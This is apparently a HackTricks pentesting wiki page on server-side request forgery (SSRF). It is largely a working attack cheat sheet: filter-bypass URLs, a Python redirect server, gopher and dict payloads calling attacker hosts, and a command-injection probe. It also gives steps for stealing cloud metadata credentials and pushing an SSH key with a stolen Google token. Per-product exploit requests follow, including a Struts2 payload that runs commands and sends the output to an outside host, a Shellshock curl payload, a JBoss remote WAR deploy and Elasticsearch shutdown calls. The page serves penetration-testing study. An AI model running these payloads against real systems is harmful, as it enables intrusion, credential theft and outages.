HackTricks
Search…
Pentesting
Powered By GitBook
SSRF (Server Side Request Forgery)

What is Server Side Request Forgery?

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. (From here)

What you should try to do

    Accessing to local files (file://)
    Trying to access to local IP
      Local IP bypass
      DNS spoofing (domains pointing to 127.0.0.1)
      DNS Rebinding (resolves to an IP and next time to a local IP: http://rbnd.gl0.eu/dnsbin). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again (as it has to resolve the domain again a different IP can be served by the DNS). More info here.
    Trying to make an internal assets discovery and internal port scan.
    Accessing private content (filtered by IP or only accessible locally, like /admin path).

Internet Exfiltration Services

You could use burpcollab or pingb for example.

Bypass restrictions

https://tools.intigriti.io/redirector/

Basic bypass localhost

1
## Localhost
2
http://127.0.0.1:80
3
http://127.0.0.1:443
4
http://127.0.0.1:22
5
http://127.1:80
6
http://0
7
http://0.0.0.0:80
8
http://localhost:80
9
http://[::]:80/
10
http://[::]:25/ SMTP
11
http://[::]:3128/ Squid
12
http://[0000::1]:80/
13
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
14
http://①②⑦.⓪.⓪.⓪
15
16
## CDIR bypass
17
http://127.127.127.127
18
http://127.0.1.3
19
http://127.0.0.0
20
21
## Decimal bypass
22
http://2130706433/ = http://127.0.0.1
23
http://017700000001 = http://127.0.0.1
24
http://3232235521/ = http://192.168.0.1
25
http://3232235777/ = http://192.168.1.1
26
27
## Hexadecimal bypass
28
127.0.0.1 = 0x7f 00 00 01
29
http://0x7f000001/ = http://127.0.0.1
30
http://0xc0a80014/ = http://192.168.0.20
31
32
##Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)
33
http://{domain}@127.0.0.1
34
http://127.0.0.1#{domain}
35
http://{domain}.127.0.0.1
36
http://127.0.0.1/{domain}
37
http://127.0.0.1/?d={domain}
38
https://{domain}@127.0.0.1
39
https://127.0.0.1#{domain}
40
https://{domain}.127.0.0.1
41
https://127.0.0.1/{domain}
42
https://127.0.0.1/?d={domain}
43
http://{domain}@localhost
44
http://localhost#{domain}
45
http://{domain}.localhost
46
http://localhost/{domain}
47
http://localhost/?d={domain}
48
http://127.0.0.1%00{domain}
49
http://127.0.0.1?{domain}
50
http://127.0.0.1///{domain}
51
https://127.0.0.1%00{domain}
52
https://127.0.0.1?{domain}
53
https://127.0.0.1///{domain}
Copied!

Bypass using DNS -> localhost

1
localtest.me = 127.0.0.1
2
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
3
mail.ebc.apple.com = 127.0.0.6 (localhost)
4
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
5
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
6
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
7
http://bugbounty.dod.network = 127.0.0.2 (localhost)
8
1ynrnhl.xip.io == 169.254.169.254
9
spoofed.burpcollaborator.net = 127.0.0.1
Copied!

Other bypasses

1
## Malformed URLs and rare addresses
2
localhost:+11211aaa
3
localhost:00011211aaaa
4
http://0/
5
http://127.1
6
http://127.0.1
7
8
## Tricks
9
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
10
urllib2 : 1.1.1.1
11
requests + browsers : 2.2.2.2
12
urllib : 3.3.3.3
13
filter_var() php function: 0://evil.com:80;http://google.com:80/
14
15
## Weakparser
16
http://127.1.1.1:80\@127.2.2.2:80/
17
http://127.1.1.1:80\@@127.2.2.2:80/
18
http://127.1.1.1:80:\@@127.2.2.2:80/
19
http://127.1.1.1:80#\@127.2.2.2:80/
Copied!

Bypass domain regexp

Bypass via redirect

It might be possible that the server is filtering the original request of a SSRF but not a possible redirect response to that request. For example, a server vulnerable to SSRF via: url=https://www.google.com/ might be filtering the url param. But if you uses a python server to respond with a 302 to the place where you want to redirect, you might be able to access filtered IP addresses like 127.0.0.1 or even filtered protocols like gopher. Check out this report.
1
#!/usr/bin/env python3
2
3
#python3 ./redirector.py 8000 http://127.0.0.1/
4
5
import sys
6
from http.server import HTTPServer, BaseHTTPRequestHandler
7
8
if len(sys.argv)-1 != 2:
9
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
10
sys.exit()
11
12
class Redirect(BaseHTTPRequestHandler):
13
def do_GET(self):
14
self.send_response(302)
15
self.send_header('Location', sys.argv[2])
16
self.end_headers()
17
18
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Copied!

Bypass via open redirect

If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here: https://portswigger.net/web-security/ssrf

SSRF via Referrer header

Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.

Server browser enumeration

You can use applications like http://webhook.site to find which browser is being used.

Exploitation

file://

1
file:///etc/passwd
Copied!

dict://

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
1
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
2
ssrf.php?url=dict://attacker:11111/
Copied!

SFTP://

A network protocol used for secure file transfer over secure shell
1
ssrf.php?url=sftp://evil.com:11111/
Copied!

TFTP://

Trivial File Transfer Protocol, works over UDP
1
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
Copied!

LDAP://

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
1
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Copied!

Gopher://

Using this protocol you can specify the ip, port and bytes you want the listener to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first). Fortunately, you can use https://github.com/tarunkant/Gopherus to already create payloads for several services.

Gopher smtp

1
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
2
will make a request like
3
HELO localhost
4
MAIL FROM:<[email protected]>
6
DATA
7
From: [Hacker] <[email protected]>
9
Date: Tue, 15 Sep 2017 17:20:26 -0400
10
Subject: Ah Ah AHYou didn't say the magic word !
11
.
12
QUIT
Copied!

Gopher HTTP

1
#For new lines you can use %0A, %0D%0A
2
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
3
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Copied!

Gopher SMTP — Back connect to 1337

redirect.php
1
<?php
2
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
3
?>Now query it.
4
https://example.com/?q=http://evil.com/redirect.php.
Copied!

SMTP

From https://twitter.com/har1sec/status/1182255952055164929: 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220 http://blabla.internaldomain.com ESMTP Sendmail 3. search http://internaldomain.com on github, find subdomains 4. connect

SSRF with Command Injection

It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Exploiting PDFs Rendering

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS

Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

Abusing DNS Rebidding + TLS Session ID/Session ticket

Requirements:
    SSRF
    Outbound TLS sessions
    Stuff on local ports
Attack:
    1.
    Ask the user/bot access a domain controlled by the attacker
    2.
    The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
    3.
    A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
    4.
    The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
    5.
    In the DNS request a private IP address is given now (127.0.0.1 for example)
    6.
    The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same). To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/ For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Exploitation in Cloud

Abusing SSRF in AWS EC2 environment

169.254.169.254 - Metadata Address

Metadata of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: http://169.254.169.254 (information about the metadata here).
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has no constraints.
Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:
1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Copied!
If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.
Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following URL:
1
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME_HERE>
Copied!
The response should look something like this:
1
{
2
"Code" : "Success",
3
"LastUpdated" : "2019-08-03T20:42:03Z",
4
"Type" : "AWS-HMAC",
5
"AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
6
"SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
7
"Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
8
"Expiration" : "2019-08-04T03:16:50Z"
9
}
Copied!
You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
1
[profilename]
2
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
3
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
4
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Copied!
Notice the aws_session_token, this is indispensable for the profile to work. Information taken from: http://ghostlulz.com/ssrf-aws-credentials/ (read that post for further information). Another possible interesting place where you can find credentials is in http://169.254.169.254/user-data
PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges

SSRF in AWS ECS (Container Service) credentials

ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.
If you access http://169.254.170.2/v2/credentials/<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID> . To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine. You could be able to read it exploiting an Path Traversal to file:///proc/self/environ The mentioned http address should give you the AccessKey, SecretKey and token.

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.
1
http://169.254.169.254/latest/dynamic/instance-identity/document
2
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Copied!
We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.
1
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Copied!
Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

SSRF URL for Google Cloud

Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”
1
http://169.254.169.254/computeMetadata/v1/
2
http://metadata.google.internal/computeMetadata/v1/
3
http://metadata/computeMetadata/v1/
4
http://metadata.google.internal/computeMetadata/v1/instance/hostname
5
http://metadata.google.internal/computeMetadata/v1/instance/id
6
http://metadata.google.internal/computeMetadata/v1/project/project-id
Copied!
Google allows recursive pulls
1
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
Copied!
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
1
http://metadata.google.internal/computeMetadata/v1beta1/
2
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Copied!
Interesting files to pull out:

Add an SSH key

Extract the token
1
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Copied!
Check the scope of the token
1
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
2
"issued_to": "101302079XXXXX",
3
"audience": "10130207XXXXX",
4
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
5
"expires_in": 2443,
6
"access_type": "offline"
7
}
Copied!
Now push the SSH key.
1
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
2
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
3
-H "Content-Type: application/json"
4
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Copied!

SSRF URL for Digital Ocean

1
curl http://169.254.169.254/metadata/v1/id
2
http://169.254.169.254/metadata/v1.json
3
http://169.254.169.254/metadata/v1/
4
http://169.254.169.254/metadata/v1/id
5
http://169.254.169.254/metadata/v1/user-data
6
http://169.254.169.254/metadata/v1/hostname
7
http://169.254.169.254/metadata/v1/region
8
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
9
curl http://169.254.169.254/metadata/v1.json | jq
Copied!

SSRF URL for Packetcloud

Documentation available at https://metadata.packet.net/userdata

SSRF URL for Azure

Update Apr 2017, Azure has more support; requires the header “Metadata: true” https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
1
http://169.254.169.254/metadata/instance?api-version=2017-04-02
2
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
Copied!

SSRF URL for OpenStack/RackSpace

(header required? unknown)
1
http://169.254.169.254/openstack
Copied!

SSRF URL for HP Helion

(header required? unknown)
1
http://169.254.169.254/2009-04-04/meta-data/
Copied!

SSRF URL for Oracle Cloud

1
http://192.0.0.192/latest/
2
http://192.0.0.192/latest/user-data/
3
http://192.0.0.192/latest/meta-data/
4
http://192.0.0.192/latest/attributes/
Copied!

SSRF URL for Alibaba

1
http://100.100.100.200/latest/meta-data/
2
http://100.100.100.200/latest/meta-data/instance-id
3
http://100.100.100.200/latest/meta-data/image-id
Copied!

SSRF URL for Kubernetes ETCD

Can contain API keys and internal ip and ports
1
curl -L http://127.0.0.1:2379/version
2
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Copied!

SSRF URL for Docker

1
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
2
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
3
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
4
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
Copied!

SSRF URL for Rancher

1
curl http://rancher-metadata/<version>/<path>
Copied!

Blind SSRF

The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.

Time based SSRF

Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)

Detect SSRF

You can use https://github.com/teknogeek/ssrf-sheriff to create an HTTP server that will respond correctly to a lot of different requests (GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...).

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack
GitHub

Vulnerable Platforms

Elasticsearch

Commonly bound port: 9200
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
1
/_cluster/health
2
/_cat/indices
3
/_cat/health
Copied!
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the _shutdown API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
1
/_shutdown
2
/_cluster/nodes/_master/_shutdown
3
/_cluster/nodes/_shutdown
4
/_cluster/nodes/_all/_shutdown
Copied!

Weblogic

Commonly bound ports: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
1
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
2
Host: target.com
3
Content-Length: 137
4
Content-Type: application/x-www-form-urlencoded
5
6
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Copied!
This also works via GET:
1
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Copied!
This endpoint is also vulnerable to CRLF injection:
1
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
2
Host: vuln.weblogic
3
Accept-Encoding: gzip, deflate
4
Accept: */*
5
Accept-Language: en
6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
7
Connection: close
Copied!
Will result in the following request:
1
[email protected]:~# nc -lvp 4000
2
Listening on [0.0.0.0] (family 0, port 4000)
3
Connection from example.com 43111 received!
4
POST /exp HTTP/1.11
5
X-CLRF: Injected HTTP/1.1
6
Content-Type: text/xml; charset=UTF-8
7
soapAction: ""
8
Content-Length: 418
9
User-Agent: Java1.6.0_24
10
Host: attacker.com:4000
11
Accept: text/html, image/gif, image/jpeg, */*; q=.2
12
Connection: Keep-Alive
13
14
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
Copied!
SSRF Canary: CVE-2020-14883
Taken from here.
Linux:
1
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
2
Host: vulnerablehost:7001
3
Upgrade-Insecure-Requests: 1
4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6
Accept-Encoding: gzip, deflate
7
Accept-Language: zh-CN,zh;q=0.9
8
Connection: close
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 117
11
12
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Copied!
Windows:
1
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
2
Host: vulnerablehost:7001
3
Upgrade-Insecure-Requests: 1
4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6
Accept-Encoding: gzip, deflate
7
Accept-Language: zh-CN,zh;q=0.9
8
Connection: close
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 117
11
12
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Copied!

Hashicorp Consul

Commonly bound ports: 8500, 8501 (SSL)
Writeup can be found here.

Shellshock

Commonly bound ports: 80, 443 (SSL), 8080
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
SSRF Canary: Shellshock via User Agent
1
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Copied!

Apache Druid

Commonly bound ports: 80, 8080, 8888, 8082
See the API reference for Apache Druid here.
If you can view the status code, check the following paths to see if they return a 200 status code:
1
/status/selfDiscovered/status
2
/druid/coordinator/v1/leader
3
/druid/coordinator/v1/metadata/datasources
4
/druid/indexer/v1/taskStatus
Copied!
Shutdown tasks, requires you to guess task IDs or the datasource name:
1
/druid/indexer/v1/task/{taskId}/shutdown
2
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Copied!
Shutdown supervisors on Apache Druid Overlords:
1
/druid/indexer/v1/supervisor/terminateAll
2
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Copied!

Apache Solr

Commonly bound port: 8983
SSRF Canary: Shards Parameter
Taken from here.
1
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
2
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
3
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
4
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
Copied!
SSRF Canary: Solr XXE (2017)
1
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
2
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
Copied!
RCE via dataImportHandler

PeopleSoft

Commonly bound ports: 80,443 (SSL)
Taken from this research here.
SSRF Canary: XXE #1
1
POST /PSIGW/HttpListeningConnector HTTP/1.1
2
Host: website.com
3
Content-Type: application/xml
4
...
5
6
<?xml version="1.0"?>
7
<!DOCTYPE IBRequest [
8
<!ENTITY x SYSTEM "http://SSRF_CANARY">
9
]>
10
<IBRequest>
11
<ExternalOperationName>&x;</ExternalOperationName>
12
<OperationType/>
13
<From><RequestingNode/>
14
<Password/>
15
<OrigUser/>
16
<OrigNode/>
17
<OrigProcess/>
18
<OrigTimeStamp/>
19
</From>
20
<To>
21
<FinalDestination/>
22
<DestinationNode/>
23
<SubChannel/>
24
</To>
25
<ContentSections>
26
<ContentSection>
27
<NonRepudiation/>
28
<MessageVersion/>
29
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
30
</Data>
31
</ContentSection>
32
</ContentSections>
33
</IBRequest>
Copied!
SSRF Canary: XXE #2
1
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
2
Host: website.com
3
Content-Type: application/xml
4
...
5
6
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Copied!

Apache Struts

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Struts2-016:
Append this to the end of every internal endpoint/URL you know of:
1
2
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
3
Copied!

JBoss

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Deploy WAR from URL
1
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Copied!

Confluence

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)
1
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
Copied!
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
1
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Copied!

Jira

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
1
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Copied!
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
1
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
Copied!

Other Atlassian Products

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
    Bamboo < 6.0.0
    Bitbucket < 4.14.4
    Crowd < 2.11.2
    Crucible < 4.3.2
    Fisheye < 4.3.2
1
